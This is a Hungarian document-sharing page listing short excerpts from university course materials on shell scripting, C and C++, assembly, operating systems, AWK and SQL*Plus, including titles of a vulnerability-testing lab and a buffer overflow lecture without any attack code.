Szkriptnyelvek. 1. UNIX shell Szkriptnyelvek 1. UNIX shell Szkriptek futtatása Parancsértelmez ő shell script neve paraméterek shell script neve paraméterek Ebben az esetben a szkript tartalmazza a parancsértelmezőt: #!/bin/bash Szkriptek

Részletesebben

PE/COFF fájl formátum

PE/COFF fájl formátum PE/COFF fájl formátum Kód visszafejtés. Izsó Tamás 2013. december 5. Izsó Tamás PE/COFF fájl formátum/ 1 Szimbólumtábla A programozási nyelvekben az típusokra, adatokra, függvényekre, ugrási címekre szimbólikus

Részletesebben

7. fejezet: Mutatók és tömbök

7. fejezet: Mutatók és tömbök 7. fejezet: Mutatók és tömbök Minden komolyabb programozási nyelvben vannak tömbök, amelyek gondos kezekben komoly fegyvert jelenthetnek. Először is tanuljunk meg tömböt deklarálni! //Tömbök használata

Részletesebben

Pénzügyi algoritmusok

Pénzügyi algoritmusok Pénzügyi algoritmusok A C++ programozás alapjai Tömbök (3. rész) Konstansok Kivételkezelés Tömbök 3. Többdimenziós tömbök Többdimenziós tömbök int a; Többdimenziós tömbök int a[5]; Többdimenziós tömbök

Részletesebben

Programozás II. 4. Dr. Iványi Péter

Programozás II. 4. Dr. Iványi Péter Programozás II. 4. Dr. Iványi Péter 1 inline függvények Bizonyos függvények annyira rövidek, hogy nem biztos hogy a fordító függvényhívást fordít, hanem inkább az adott sorba beilleszti a kódot. #include

Részletesebben

Assembly Címzési módok. Iványi Péter

Assembly Címzési módok. Iványi Péter Assembly Címzési módok Iványi Péter Gépi kód Gépi kód = amit a CPU megért 1-13 byte hosszúak lehetnek az utasítások Kb. 20 000 variációja van a gépi kódú utasításoknak Számítógép architektúrától függ Feszültség

Részletesebben

Bevezetés a programozásba Előadás: Objektumszintű és osztályszintű elemek, hibakezelés

Bevezetés a programozásba Előadás: Objektumszintű és osztályszintű elemek, hibakezelés Bevezetés a programozásba 2 7. Előadás: Objektumszű és osztályszű elemek, hibakezelés ISMÉTLÉS Osztály class Particle { public: Particle( X, X, Y); virtual void mozog( ); ); virtual void rajzol( ) const;

Részletesebben

SQL*Plus. Felhasználók: SYS: rendszergazda SCOTT: demonstrációs adatbázis, táblái: EMP (dolgozó), DEPT (osztály) "közönséges" felhasználók

SQL*Plus. Felhasználók: SYS: rendszergazda SCOTT: demonstrációs adatbázis, táblái: EMP (dolgozó), DEPT (osztály) közönséges felhasználók SQL*Plus Felhasználók: SYS: rendszergazda SCOTT: demonstrációs adatbázis, táblái: EMP dolgozó), DEPT osztály) "közönséges" felhasználók Adatszótár: metaadatokat tartalmazó, csak olvasható táblák táblanév-prefixek:

Részletesebben

Programozás alapjai gyakorlat. 4. gyakorlat Konstansok, tömbök, stringek

Programozás alapjai gyakorlat. 4. gyakorlat Konstansok, tömbök, stringek Programozás alapjai gyakorlat 4. gyakorlat Konstansok, tömbök, stringek Házi ellenőrzés (f0069) Valósítsd meg a linuxos seq parancs egy egyszerűbb változatát, ami beolvas két egész számot, majd a kettő

Részletesebben

Függvény pointer. Feladat: Egy tömbben soroljunk fel függvényeket, és hívjuk meg valahányszor.

Függvény pointer. Feladat: Egy tömbben soroljunk fel függvényeket, és hívjuk meg valahányszor. Függvény pointer Több feladat közül futási időben döntöm el, hogy melyiket hajtom végre. A függvényre mutató pointer a függvény kódjának a címére mutat, azon keresztül meghívhatom a függvényt. A pointernek

Részletesebben

Mutatók és címek (ism.) Programozás alapjai C nyelv 8. gyakorlat. Indirekció (ism) Néhány dolog érthetőbb (ism.) Változók a memóriában

Mutatók és címek (ism.) Programozás alapjai C nyelv 8. gyakorlat. Indirekció (ism) Néhány dolog érthetőbb (ism.) Változók a memóriában Programozás alapjai C nyelv 8. gyakorlat Szeberényi mre BME T Programozás alapjai. (C nyelv, gyakorlat) BME-T Sz.. 2005.11.07. -1- Mutatók és címek (ism.) Minden változó és függvény

Részletesebben

Pénzügyi algoritmusok

Pénzügyi algoritmusok Pénzügyi algoritmusok A C++ programozás alapjai Sztringek Osztályok alapjai Sztringek Szöveges adatok kezelése Sztring Karakterlánc (string): Szöveges adat Karaktertömbként tárolva A szöveg végét a speciális

Részletesebben

A C programozási nyelv I. Bevezetés

A C programozási nyelv I. Bevezetés A C programozási nyelv I. Bevezetés Miskolci Egyetem Általános Informatikai Tanszék A C programozási nyelv I. (bevezetés) CBEV1 / 1 A C nyelv története Dennis M. Ritchie AT&T Lab., 1972 rendszerprogramozás,

Részletesebben

A programozás alapjai

A programozás alapjai A programozás alapjai Változók A számítógép az adatokat változókban tárolja A változókat alfanumerikus karakterlánc jelöli. A változóhoz tartozó adat tipikusan a számítógép memóriájában tárolódik, szekvenciálisan,

Részletesebben

Memóriagazdálkodás. Kódgenerálás. Kódoptimalizálás

Memóriagazdálkodás. Kódgenerálás. Kódoptimalizálás Kódgenerálás Memóriagazdálkodás Kódgenerálás program prológus és epilógus értékadások fordítása kifejezések fordítása vezérlési szerkezetek fordítása Kódoptimalizálás L ATG E > TE' E' > + @StPushAX T @StPopBX

Részletesebben

Balaton Marcell Balázs. Assembly jegyzet. Az Assembly egy alacsony szintű nyelv, mely a gépi kódú programozás egyszerűsítésére született.

Balaton Marcell Balázs. Assembly jegyzet. Az Assembly egy alacsony szintű nyelv, mely a gépi kódú programozás egyszerűsítésére született. Balaton Marcell Balázs Assembly jegyzet Az Assembly egy alacsony szintű nyelv, mely a gépi kódú programozás egyszerűsítésére született. 1. Regiszterek Regiszterek fajtái a. Szegmensregiszterek cs (code):

Részletesebben

Gyakorló feladatok. /2 Maradék /16 Maradék /8 Maradék

Gyakorló feladatok. /2 Maradék /16 Maradék /8 Maradék Gyakorló feladatok Számrendszerek: Feladat: Ábrázold kettes számrendszerbe a 639 10, 16-os számrendszerbe a 311 10, 8-as számrendszerbe a 483 10 számot! /2 Maradék /16 Maradék /8 Maradék 639 1 311 7 483

Részletesebben

Programozás II. 2. Dr. Iványi Péter

Programozás II. 2. Dr. Iványi Péter Programozás II. 2. Dr. Iványi Péter 1 C++ Bjarne Stroustrup, Bell Laboratórium Első implementáció, 1983 Kezdetben csak precompiler volt C++ konstrukciót C-re fordította A kiterjesztés alapján ismerte fel:.cpp.cc.c

Részletesebben

Hírközlő rendszerek biztonsága laboratórium Számítógépes rendszerek sebezhetőségének vizsgálata

Hírközlő rendszerek biztonsága laboratórium Számítógépes rendszerek sebezhetőségének vizsgálata Hírközlő rendszerek biztonsága laboratórium Számítógépes rendszerek sebezhetőségének vizsgálata Budapesti Műszaki és Gazdaságtudományi Egyetem Híradástechnikai Tanszék 2009. Számítógépes rendszerek sebezhetőségének

Részletesebben

Operációs rendszerek. Az NT memóriakezelése

Operációs rendszerek. Az NT memóriakezelése Operációs rendszerek MS Windows NT (2000) memóriakezelés Az NT memóriakezelése 32-bites virtuális memóriakezelés: 4 GB-os címtartomány, alapesetben: a fels! 2 GB az alkalmazásoké, az alsó 2 GB az OPR-é.

Részletesebben

Programozás alapjai C nyelv 8. gyakorlat. Mutatók és címek (ism.) Indirekció (ism)

Programozás alapjai C nyelv 8. gyakorlat. Mutatók és címek (ism.) Indirekció (ism) Programozás alapjai C nyelv 8. gyakorlat Szeberényi Imre BME IIT Programozás alapjai I. (C nyelv, gyakorlat) BME-IIT Sz.I. 2005.11.07. -1- Mutatók és címek (ism.) Minden változó és függvény

Részletesebben

Programozás C nyelven FELÜLNÉZETBŐL elhullatott MORZSÁK. Sapientia EMTE

Programozás C nyelven FELÜLNÉZETBŐL elhullatott MORZSÁK. Sapientia EMTE Programozás C nyelven FELÜLNÉZETBŐL elhullatott MORZSÁK Sapientia EMTE 2015-16 1 Felülnézet 1 Feltételes fordítás #if, #else, #elif, #endif, #ifdef, #ifndef stb. Felülnézet 2 #include: hatására a preprocesszor

Részletesebben

C programozás. 6 óra Függvények, függvényszerű makrók, globális és

C programozás. 6 óra Függvények, függvényszerű makrók, globális és C programozás 6 óra Függvények, függvényszerű makrók, globális és lokális változók 1.Azonosítók A program bizonyos összetevőire névvel (azonosító) hivatkozunk Első karakter: _ vagy betű (csak ez lehet,

Részletesebben

Programozás. (GKxB_INTM021) Dr. Hatwágner F. Miklós április 4. Széchenyi István Egyetem, Gy r

Programozás. (GKxB_INTM021) Dr. Hatwágner F. Miklós április 4. Széchenyi István Egyetem, Gy r Programozás (GKxB_INTM021) Széchenyi István Egyetem, Gy r 2018. április 4. Számok rendezése Feladat: Fejlesszük tovább úgy a buborék rendez algoritmust bemutató példát, hogy a felhasználó adhassa meg a

Részletesebben

A C programozási nyelv I. Bevezetés

A C programozási nyelv I. Bevezetés A C programozási nyelv I. Bevezetés Miskolci Egyetem Általános Informatikai Tanszék A C programozási nyelv I. (bevezetés) CBEV1 / 1 A C nyelv története Dennis M. Ritchie AT&T Lab., 1972 rendszerprogramozás,

Részletesebben

Adatszerkezetek Tömb, sor, verem. Dr. Iványi Péter

Adatszerkezetek Tömb, sor, verem. Dr. Iványi Péter Adatszerkezetek Tömb, sor, verem Dr. Iványi Péter 1 Adat Adat minden, amit a számítógépünkben tárolunk és a külvilágból jön Az adatnak két fontos tulajdonsága van: Értéke Típusa 2 Adat típusa Az adatot

Részletesebben

Programozás C++ -ban

Programozás C++ -ban Programozás C++ -ban 4. Bevezetés az osztályokba 4.1 Az adatokhoz való hozzáférés ellenőrzése Egy C programban a struktúrák minden része mindig elérhető. Ugyanakkor ez nem a legkedvezőbb helyzet. Több

Részletesebben

Máté: Assembly programozás

Máté: Assembly programozás Dr. Máté Eörs docens Képfeldolgozás és Számítógépes Grafika Tanszék Árpád tér 2. II. em. 213 6196, 54-6196 (6396, 54-6396) http://www.inf.u-szeged.hu/~mate Tantárgy leírás: http://www.inf.u-szeged.hu/oktatas/kurzusleirasok/

Részletesebben

Függvények. Programozás I. Hatwágner F. Miklós november 16. Széchenyi István Egyetem, Gy r

Függvények. Programozás I. Hatwágner F. Miklós november 16. Széchenyi István Egyetem, Gy r Programozás I. Széchenyi István Egyetem, Gy r 2014. november 16. Áttekintés kel kapcsolatos fogalmak deklaráció Több, kompatibilis változat is elképzelhet. Meg kell el znie a fv. hívását. Mindenképp rögzíti

Részletesebben

II. Mérés SZÉCHENYI ISTVÁN EGYETEM GYŐR TÁVKÖZLÉSI TANSZÉK

II. Mérés SZÉCHENYI ISTVÁN EGYETEM GYŐR TÁVKÖZLÉSI TANSZÉK Mérési Utasítás Linux/Unix jogosultságok és fájlok kezelése Linux fájlrendszerek és jogosultságok Linux alatt, az egyes fájlokhoz való hozzáférések szabályozása érdekében a fájlokhoz tulajdonost, csoportot

Részletesebben

Hatékony memóriakezelési technikák. Smidla József Operációkutatási Laboratórium január 16.

Hatékony memóriakezelési technikák. Smidla József Operációkutatási Laboratórium január 16. Hatékony memóriakezelési technikák Smidla József Operációkutatási Laboratórium 2014. január 16. 1 Tartalom A cache áthidalása Cache optimalizálás Adatszerkezetek tervezése A programkód szerkezete Prefetch

Részletesebben

Operációs rendszerek. 11. gyakorlat. AWK - szintaxis, vezérlési szerkezetek UNIVERSITAS SCIENTIARUM SZEGEDIENSIS UNIVERSITY OF SZEGED

Operációs rendszerek. 11. gyakorlat. AWK - szintaxis, vezérlési szerkezetek UNIVERSITAS SCIENTIARUM SZEGEDIENSIS UNIVERSITY OF SZEGED UNIVERSITAS SCIENTIARUM SZEGEDIENSIS UNIVERSITY OF SZEGED AWK - szintaxis, vezérlési szerkezetek Operációs rendszerek 11. gyakorlat Szegedi Tudományegyetem Természettudományi és Informatikai Kar Csuvik

Részletesebben

Mintavételes szabályozás mikrovezérlő segítségével

Mintavételes szabályozás mikrovezérlő segítségével Automatizálási Tanszék Mintavételes szabályozás mikrovezérlő segítségével Budai Tamás budai.tamas@sze.hu http://maxwell.sze.hu/~budait Tartalom Mikrovezérlőkről röviden Programozási alapismeretek ismétlés

Részletesebben

8. gyakorlat Pointerek, dinamikus memóriakezelés

8. gyakorlat Pointerek, dinamikus memóriakezelés 8. gyakorlat Pointerek, dinamikus memóriakezelés Házi ellenőrzés Egy számtani sorozat első két tagja A1 és A2. Számítsa ki a sorozat N- dik tagját! (f0051) Egy mértani sorozat első két tagja A1 és A2.

Részletesebben

5-6. ea Created by mrjrm & Pogácsa, frissítette: Félix

5-6. ea Created by mrjrm & Pogácsa, frissítette: Félix 2. Adattípusonként különböző regisztertér Célja: az adatfeldolgozás gyorsítása - különös tekintettel a lebegőpontos adatábrázolásra. Szorzás esetén karakterisztika összeadódik, mantissza összeszorzódik.

Részletesebben

Mérnöki programozás 7. Szerkesztette: dr. Vass Péter Tamás

Mérnöki programozás 7. Szerkesztette: dr. Vass Péter Tamás Mérnöki programozás 7 Szerkesztette: dr. Vass Péter Tamás Függvények Függvény (function) egyedi azonosítónévvel ellátott számítási egység. A függvények formájában kidolgozott programkódok viszonylag egyszerűbb

Részletesebben

Assembly Rekurzív függvények, EXE, C programok. Iványi Péter

Assembly Rekurzív függvények, EXE, C programok. Iványi Péter Assembly Rekurzív függvények, EXE, C programok Iványi Péter Algoritmusok előadás Rekurzív függvény FÜGGVÉNY nyomtat(n) print n HA n!= 0 nyomtat(n-1) ELÁGAZÁS VÉGE FÜGGVÉNY VÉGE Rekurzív függvény org 100h

Részletesebben

C string műveletek (string.h alkalmazása)

C string műveletek (string.h alkalmazása) C string műveletek (string.h alkalmazása) A 3. előadás ZH során a string.h-ban található függvények alkalmazásával kell különböző, string kezeléssel kapcsolatos feladatokat megoldani. Ehhez szükséges ezen

Részletesebben

Paraméter átadás regisztereken keresztül

Paraméter átadás regisztereken keresztül Eljárások paramétereinek átadási módjai Az eljárások deklarációjánál nincs mód arra, hogy paramétereket adjunk meg, ezért más, közvetett módon tudunk átadni paramétereket az eljárásoknak. Emlékeztetőül:

Részletesebben

Aritmetikai utasítások I.

Aritmetikai utasítások I. Aritmetikai utasítások I. Az értékadó és aritmetikai utasítások során a címzési módok különböző típusaira látunk példákat. A 8086/8088-as mikroprocesszor memóriája és regiszterei a little endian tárolást

Részletesebben

Archi2 Gyak. (Processzorok Utasításszintű Kezelése) 2014 ősz

Archi2 Gyak. (Processzorok Utasításszintű Kezelése) 2014 ősz Archi2 Gyak (Processzorok Utasításszintű Kezelése) 2014 ősz Ajánlott irodalom Agárdi Gábor: Gyakorlati Assembly, LSI Oktatóközpont, 1996, ISBN 963 577 117 7 Agárdi G.: Gyakorlati Assembly haladóknak, LSI

Részletesebben

4. Laborgyakorlat. A fájlokról ezeket az adatokat, a fájlrendszer tárolja. Számunkra az 1, 3, 4. oszlopok lesznek az érdekesek.

4. Laborgyakorlat. A fájlokról ezeket az adatokat, a fájlrendszer tárolja. Számunkra az 1, 3, 4. oszlopok lesznek az érdekesek. Linux fájlrendszerek. 4. Laborgyakorlat Előző gyakorlaton, már volt szó a fájlrendszerekről, mikor a mount parancs -t kapcsolójáról volt szó. Linux alatt, az egyes fájlokhoz való hozzáférések miatt, a

Részletesebben

Programozás I gyakorlat

Programozás I gyakorlat Programozás I. - 2. gyakorlat Változók, típusok, bekérés Tar Péter 1 Pannon Egyetem M szaki Informatikai Kar Rendszer - És Számítástudományi Tanszék Utolsó frissítés: September 21, 2009 1 tar@dcs.vein.hu

Részletesebben

Programozás C++ -ban 2007/1

Programozás C++ -ban 2007/1 Programozás C++ -ban 2007/1 1. Különbségek a C nyelvhez képest Több alapvető különbség van a C és a C++ programozási nyelvek szintaxisában. A programozó szempontjából ezek a különbségek könnyítik a programozó

Részletesebben

1. Az utasítás beolvasása a processzorba

1. Az utasítás beolvasása a processzorba A MIKROPROCESSZOR A mikroprocesszor olyan nagy bonyolultságú félvezető eszköz, amely a digitális számítógép központi egységének a feladatait végzi el. Dekódolja az uatasításokat, vezérli a műveletek elvégzéséhez

Részletesebben

S z á m í t ó g é p e s a l a p i s m e r e t e k

S z á m í t ó g é p e s a l a p i s m e r e t e k S z á m í t ó g é p e s a l a p i s m e r e t e k 7. előadás Ami eddig volt Számítógépek architektúrája Alapvető alkotóelemek Hardver elemek Szoftver Gépi kódtól az operációs rendszerig Unix alapok Ami

Részletesebben

Java II. I A Java programozási nyelv alapelemei

Java II. I A Java programozási nyelv alapelemei Java II. I A Java programozási nyelv alapelemei Miskolci Egyetem Általános Informatikai Tanszék Utolsó módosítás: 2008. 02. 19. Java II.: Alapelemek JAVA2 / 1 A Java formalizmusa A C, illetve az annak

Részletesebben

Occam 1. Készítette: Szabó Éva

Occam 1. Készítette: Szabó Éva Occam 1. Készítette: Szabó Éva Párhuzamos programozás Egyes folyamatok (processzek) párhuzamosan futnak. Több processzor -> tényleges párhuzamosság Egy processzor -> Időosztásos szimuláció Folyamatok közötti

Részletesebben

Biztonságos programozás Puffer túlcsordulásos támadások

Biztonságos programozás Puffer túlcsordulásos támadások Biztonságos programozás Puffer túlcsordulásos támadások Intel x68 Izsó Tamás 2015. október 5. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 1 Section 1 Puffer túlcsordulás sebezhetőség

Részletesebben

A PROGAMOZÁS ALAPJAI 1. Függvény mint függvény paramétere. Függvény mint függvény paramétere. Függvény mint függvény paramétere

A PROGAMOZÁS ALAPJAI 1. Függvény mint függvény paramétere. Függvény mint függvény paramétere. Függvény mint függvény paramétere 2012. április 10. A PROGAMOZÁS ALAPJAI 1 Vitéz András egyetemi adjunktus BME Híradástechnikai Tanszék vitez@hit.bme.hu Miről lesz ma szó? alaki szabályok használata - mintapélda használata - mintapélda

Részletesebben

OPERÁCIÓS RENDSZEREK. Elmélet

OPERÁCIÓS RENDSZEREK. Elmélet 1. OPERÁCIÓS RENDSZEREK Elmélet BEVEZETÉS 2 Az operációs rendszer fogalma Az operációs rendszerek feladatai Csoportosítás BEVEZETÉS 1. A tantárgy tananyag tartalma 2. Operációs rendszerek régen és most

Részletesebben

Processzorok Utasításszintű Kezelése tavasz

Processzorok Utasításszintű Kezelése tavasz Processzorok Utasításszintű Kezelése 2014 tavasz Ajánlott irodalom Agárdi Gábor: Gyakorlati Assembly, LSI Oktatóközpont, 1996, ISBN 963 577 117 7 Agárdi G.: Gyakorlati Assembly haladóknak, LSI oktatóközpont,

Részletesebben

Programozás alapjai 9.Gy: Struktúra 2.

Programozás alapjai 9.Gy: Struktúra 2. Programozás alapjai 9.Gy: Struktúra 2. Ördögi részletek P R O A L A G 35/1 B ITv: MAN 2018.11.10 Euró árfolyam statisztika Az EURO árfolyamát egy negyedéven keresztül hetente nyilvántartjuk (HUF / EUR).

Részletesebben

Írjon olyan programot a standard könyvtár alkalmazásával, amely konzolról megadott valós adatokból meghatározza és kiírja a minimális értékűt!

Írjon olyan programot a standard könyvtár alkalmazásával, amely konzolról megadott valós adatokból meghatározza és kiírja a minimális értékűt! Írjon olyan programot a standard könyvtár alkalmazásával, amely konzolról megadott valós adatokból meghatározza és kiírja a minimális értékűt! valós adatokat növekvő sorrendbe rendezi és egy sorba kiírja

Részletesebben

3. Osztályok II. Programozás II

3. Osztályok II. Programozás II 3. Osztályok II. Programozás II Bevezető feladat Írj egy Nevsor osztályt, amely legfeljebb adott mennyiségű nevet képes eltárolni. A maximálisan tárolható nevek számát a konstruktorban adjuk meg. Az osztályt

Részletesebben

Programozás alapjai. 7. előadás

Programozás alapjai. 7. előadás 7. előadás Wagner György Általános Informatikai Tanszék Jótanács (1) Tipikus hiba a feladat elkészítésekor: Jótanács (2) Szintén tipikus hiba: a file-ból való törléskor, illetve a file-nak új elemmel való

Részletesebben

A C programozási nyelv VI. Parancssori argumentumok File kezelés

A C programozási nyelv VI. Parancssori argumentumok File kezelés A C programozási nyelv VI. Parancssori argumentumok File kezelés Miskolci Egyetem Általános Informatikai Tanszék A C programozási nyelv VI. (Parancssori argumentum, file kezelés) CBEV6 / 1 Parancssori

Részletesebben

OOP #14 (referencia-elv)

OOP #14 (referencia-elv) OOP #14 (referencia-elv) v1.0 2003.03.19. 21:22:00 Eszterházy Károly Főiskola Információtechnológia tsz. Hernyák Zoltán adj. e-mail: aroan@ektf.hu web: http://aries.ektf.hu/~aroan OOP OOP_14-1 - E jegyzet

Részletesebben

12. gyakorlat Enum; Tárolási osztályok Preprocesszor utasítások; Moduláris programozás

12. gyakorlat Enum; Tárolási osztályok Preprocesszor utasítások; Moduláris programozás 12. gyakorlat Enum; Tárolási osztályok Preprocesszor utasítások; Moduláris programozás Házi (f0174) Egy sor kiíratási formátuma: "nev: %s; pont: %d;". Olvasd be a kiírt számot úgy, ha tudod, hogy a kiírt

Részletesebben

C programozási nyelv

C programozási nyelv C programozási nyelv Előfeldolgozó utasítások Dr Schuster György 2011 május 3 Dr Schuster György () C programozási nyelv Előfeldolgozó utasítások 2011 május 3 1 / 15 A fordítás menete Dr Schuster György

Részletesebben

Delphi programozás I.

Delphi programozás I. Delphi programozás I. Konzol alkalmazások készítése Delphiben A Delphi konzol alkalmazása (console application) olyan 32 bites program, amely nem grafikus felületen, hanem egy szöveges konzol ablakban

Részletesebben

Programozás alapjai. (GKxB_INTM023) Dr. Hatwágner F. Miklós augusztus 29. Széchenyi István Egyetem, Gy r

Programozás alapjai. (GKxB_INTM023) Dr. Hatwágner F. Miklós augusztus 29. Széchenyi István Egyetem, Gy r Programozás alapjai (GKxB_INTM023) Széchenyi István Egyetem, Gy r 2019. augusztus 29. Feladat: írjuk ki az els 10 természetes szám négyzetét! #i n c l u d e i n t main ( v o i d ) { p r

Részletesebben

A vezérlő alkalmas 1x16, 2x16, 2x20, 4x20 karakteres kijelzők meghajtására. Az 1. ábrán látható a modul bekötése.

A vezérlő alkalmas 1x16, 2x16, 2x20, 4x20 karakteres kijelzők meghajtására. Az 1. ábrán látható a modul bekötése. Soros LCD vezérlő A vezérlő modul lehetővé teszi, hogy az LCD-t soros vonalon illeszthessük alkalmazásunkhoz. A modul több soros protokollt is támogat, úgy, mint az RS232, I 2 C, SPI. Továbbá az LCD alapfunkcióit

Részletesebben

1. Alapok. #!/bin/bash

1. Alapok. #!/bin/bash 1. oldal 1.1. A programfájlok szerkezete 1. Alapok A bash programok tulajnképpen egyszerű szöveges fájlok, amelyeket bármely szövegszerkesztő programmal megírhatunk. Alapvetően ugyanazokat a at használhatjuk

Részletesebben

Programozás C++ -ban 2007/4

Programozás C++ -ban 2007/4 Programozás C++ -ban 2007/4 1. Az adatokhoz való hozzáférés ellenőrzése Egy C programban a struktúrák minden része mindig elérhető. Ugyanakkor ez nem a legkedvezőbb helyzet. Több szempontból is hasznos

Részletesebben

A verem (stack) A verem egy olyan struktúra, aminek a tetejéről kivehetünk egy (vagy sorban több) elemet. A verem felhasználása

A verem (stack) A verem egy olyan struktúra, aminek a tetejéről kivehetünk egy (vagy sorban több) elemet. A verem felhasználása A verem (stack) A verem egy olyan struktúra, aminek a tetejére betehetünk egy új (vagy sorban több) elemet a tetejéről kivehetünk egy (vagy sorban több) elemet A verem felhasználása Függvény visszatérési

Részletesebben

AWK programozás, minták, vezérlési szerkezetek

AWK programozás, minták, vezérlési szerkezetek 10 AWK programozás, minták, vezérlési szerkezetek AWK futtatási módok AWK parancs, közvetlen programkódmegadás: awk 'PROGRAMKÓD' FILE példa: ls -l awk '{print $1, $5}' a programkód helyére minden indentálás

Részletesebben

Programozási nyelvek Java

Programozási nyelvek Java statikus programszerkezet Programozási nyelvek Java Kozsik Tamás előadása alapján Készítette: Nagy Krisztián 2. előadás csomag könyvtárak könyvtárak forrásfájlok bájtkódok (.java) (.class) primitív osztály

Részletesebben

Programozas 1. Strukturak, mutatok

Programozas 1. Strukturak, mutatok Programozas 1 Strukturak, mutatok Strukturak Tömb: több egyforma típusú változó együttese Struktúra: több különböző típusú de logikailag egybetartozó változó együttese, amelyet az egyszerű kezelhetőség

Részletesebben

Programozás I gyakorlat

Programozás I gyakorlat Programozás I. - 2. gyakorlat Változók, kiiratás, bekérés Tar Péter 1 Pannon Egyetem M szaki Informatikai Kar Számítástudomány Alkalmazása Tanszék Utolsó frissítés: September 24, 2007 1 tar@dcs.vein.hu

Részletesebben

Programozás C++ -ban

Programozás C++ -ban Programozás C++ -ban 6. Konstansok A C nyelvben konstansokat makróval is deklarálhatunk. Ebben az esetben mindenhol ahol a makró előfordul a fordító a definiált értéket behelyettesíti a makró helyére.

Részletesebben